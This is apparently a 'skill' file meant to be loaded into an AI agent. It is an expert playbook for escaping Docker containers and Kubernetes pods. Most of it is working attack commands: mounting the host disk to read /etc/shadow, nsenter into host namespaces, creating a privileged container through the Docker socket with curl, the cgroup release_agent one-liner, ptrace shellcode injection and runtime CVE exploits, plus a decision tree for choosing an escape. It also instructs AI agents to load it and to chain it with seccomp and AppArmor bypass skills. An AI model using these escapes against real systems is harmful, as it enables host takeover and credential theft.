SKILL: Container Escape Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
Advanced Reference
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
1. AM I IN A CONTAINER?
bash# Quick checks cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd" ls -la /.dockerenv 2>/dev/null cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet" hostname # random hex = likely container # Detailed check cat /proc/1/status | head -5 # PID 1 is not systemd/init? mount | grep -i "overlay" # overlay filesystem? ip addr # veth interface? limited NICs?
Tools for Container Detection
bash# amicontained: shows container runtime, capabilities, seccomp ./amicontained # deepce: Docker enumeration and exploit suggester ./deepce.sh # CDK: all-in-one container pentesting toolkit ./cdk evaluate
2. PRIVILEGED CONTAINER ESCAPE
If --privileged flag was used, the container has nearly all host capabilities and device access.
2.1 Mount Host Filesystem
bash# Check if privileged cat /proc/self/status | grep CapEff # CapEff: 0000003fffffffff = fully privileged # Find host disk fdisk -l 2>/dev/null || lsblk # Usually /dev/sda1 or /dev/vda1 # Mount host root mkdir -p /mnt/host mount /dev/sda1 /mnt/host # Access host filesystem cat /mnt/host/etc/shadow chroot /mnt/host bash
2.2 nsenter (Enter Host Namespaces)
bash# From privileged container, enter host PID 1's namespaces nsenter --target 1 --mount --uts --ipc --net --pid -- bash # This gives a shell in the host's namespace context # Effectively a full host shell
2.3 Privileged + Host PID Namespace
bash# If hostPID: true is set (Kubernetes) # Access host processes via /proc ls /proc/1/root/ # Host root filesystem cat /proc/1/root/etc/shadow # Inject into host process nsenter --target 1 --mount -- bash
3. CAPABILITY-BASED ESCAPE
3.1 CAP_SYS_ADMIN — Most Versatile
bash# Check capabilities capsh --print 2>/dev/null grep CapEff /proc/self/status # Escape via mounting mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp # Or mount host filesystem if device access exists mount /dev/sda1 /mnt/host 2>/dev/null
3.2 CAP_SYS_PTRACE — Process Injection
bash# Inject shellcode into a host process (requires host PID namespace) # Find a root process ps aux | grep root # Use gdb or python-ptrace to inject python3 << 'EOF' import ctypes import ctypes.util libc = ctypes.CDLL(ctypes.util.find_library("c")) # Attach to host process, inject shellcode # ... (full inject_shellcode implementation) EOF
3.3 CAP_NET_ADMIN
bash# Manipulate host network if host network namespace is shared # ARP spoofing, route manipulation, traffic interception iptables -L # Can see/modify host firewall rules? ip route # Can modify routing?
3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)
bash# open_by_handle_at() bypass — read files from host # Compile and run the "shocker" exploit # Works when DAC_READ_SEARCH capability is granted gcc shocker.c -o shocker ./shocker /etc/shadow # Read host file
4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)
bashls -la /var/run/docker.sock # Check if mounted # With Docker CLI: docker run -v /:/host --privileged -it alpine chroot /host bash # Without CLI (curl only) — create privileged container via API: curl -s --unix-socket /var/run/docker.sock \ -X POST http://localhost/containers/create \ -H "Content-Type: application/json" \ -d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true, "HostConfig":{"Binds":["/:/host"],"Privileged":true}}' # Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
5. CGROUP V1 RELEASE_AGENT ESCAPE
Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
bashd=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1)) mkdir -p $d/w && echo 1 > $d/w/notify_on_release host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab) echo "$host_path/cmd" > $d/release_agent cat > /cmd << 'EOF' #!/bin/sh cat /etc/shadow > /output 2>&1 # Or: reverse shell EOF chmod +x /cmd sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1 cat /output
6. CGROUP V2 / eBPF ESCAPE
bash# Cgroup v2: no release_agent file # Check cgroup version: mount | grep cgroup # cgroup2 → v2 # eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent) # Kernel ≥ 5.8 with unprivileged eBPF enabled cat /proc/sys/kernel/unprivileged_bpf_disabled # 0 = eBPF available to unprivileged users
7. NAMESPACE ESCAPE
User Namespace
bash# If user namespace creation is allowed inside container: unshare -U --map-root-user bash # Now "root" inside new namespace # Combined with other capabilities → mount host filesystem
PID Namespace Escape
bash# If hostPID: true (shared PID namespace with host) # Access host processes directly: ls /proc/1/root/ # Host's root filesystem cat /proc/1/root/etc/shadow # Inject into host process: nsenter -t 1 -m -u -i -n -p -- bash
8. RUNTIME VULNERABILITIES
runc CVE-2019-5736
Overwrites host runc binary when docker exec is used.
bash# Conditions: docker exec into a malicious container triggers exploit # The container's /bin/sh is replaced with exploit binary # When next exec happens → overwrites /usr/bin/runc on host # PoC: modify entrypoint to overwrite runc # This is a one-shot exploit — runc is replaced permanently
containerd CVE-2020-15257
bash# Host network namespace shared + containerd < 1.3.9 / 1.4.3 # Abstract Unix socket accessible from container # Connect to containerd shim API via @/containerd-shim/*.sock
cgroups CVE-2022-0492
bash# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN # release_agent writable by unprivileged user in container
9. KUBERNETES POD ESCAPE
| Dangerous Pod Spec | Escape |
|---|---|
hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
hostNetwork: true | Access node services (Kubelet, etcd) directly |
hostPath: {path: /} | chroot /host bash |
privileged: true | Mount host disk / nsenter |
| SA token with RBAC | Create new privileged pod via API |
See kubernetes-pentesting for full K8s attack paths.
10. TOOLS
| Tool | Purpose | URL/Command |
|---|---|---|
| deepce | Docker enumeration + exploit suggestions | ./deepce.sh |
| CDK | Container/K8s exploitation toolkit | ./cdk evaluate |
| amicontained | Show container runtime, caps, seccomp | ./amicontained |
| PEIRATES | Kubernetes penetration testing | ./peirates |
| BOtB | Break out the Box — auto-escape | ./botb -autopwn |
11. CONTAINER ESCAPE DECISION TREE
Inside a container? │ ├── Privileged mode? (CapEff = 0000003fffffffff) │ ├── Yes → mount host disk (§2.1) or nsenter (§2.2) │ └── Partial capabilities? Check each: │ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1) │ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2) │ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4) │ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3) │ ├── Docker socket mounted? (/var/run/docker.sock) │ └── Yes → create privileged container (§4) │ ├── Host PID namespace shared? │ └── Yes → nsenter -t 1 or /proc/1/root access (§7) │ ├── Cgroup v1? │ └── + CAP_SYS_ADMIN → release_agent escape (§5) │ ├── Runtime vulnerable? │ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8) │ └── containerd < 1.3.9 → CVE-2020-15257 (§8) │ ├── Kernel vulnerable? │ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation │ ├── Kubernetes pod? │ ├── Service account with elevated RBAC? → create escape pod (§9) │ └── hostPath volume? → access host filesystem │ └── None of the above? ├── Run deepce/CDK for automated detection ├── Check for writable host mount points ├── Enumerate network for other containers/services └── Check /proc/self/mountinfo for interesting mounts
